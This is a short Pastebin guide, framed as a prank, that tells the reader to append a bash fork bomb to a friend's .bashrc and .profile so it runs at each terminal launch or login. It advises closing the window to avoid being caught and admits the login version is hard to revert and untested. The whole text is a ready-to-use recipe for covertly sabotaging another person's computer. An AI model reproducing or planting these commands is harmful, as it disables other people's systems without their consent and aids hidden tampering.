Guest User

Untitled

a guest
Oct 18th, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.36 KB | None | 0 0
  1. # Bombshell Bash Prank
  2.  
  3. The next __2 commands__ can give a real __headache__ to another person, use them with __responsability!__
  4.  
  5. ## 1st Command: Bash/Terminal Bombshell (Not so evil one):
  6.  
  7. This command will be executed when your friend opens a new bash window.
  8.  
  9. Copy and run the next command in you friends computer:
  10.  
  11. ```bash
  12. echo ':(){ :|: & };: &> /dev/null' >> .bashrc
  13. ```
  14.  
  15. (Make sure to close the window where you executed this command to stay away of being caught).
  16.  
  17. ## 2nd Command: Profile Bombshell (True evil):
  18.  
  19. Instead of adding the line of code to the __.bashrc__ which is executed when opening a terminal window,
  20. we add it to the __.profile__ which is executed after a user logs in.
  21.  
  22. __CAUTION: This could be difficult to revert!__
  23.  
  24. ```bash
  25. echo ':(){ :|: & };: &> /dev/null' >> .profile
  26. ```
  27.  
  28. (Also make sure to close the window where you executed this command to stay away of being caught).
  29.  
  30.  
  31. ## How to revert
  32.  
  33. For the first command, you only need to start the computer and make sure you don't open a bash/terminal window.
  34. After you have logged in, open a file editor and find the file. The final step is to erase that line of code
  35. from the .bashrc and save it.
  36.  
  37. For the second command you will need to make the same but even faster! You won't have much time before it starts to
  38. slow down. I haven't tried to run this command. There might be other solutions to solve this.
Add Comment
Please, Sign In to add comment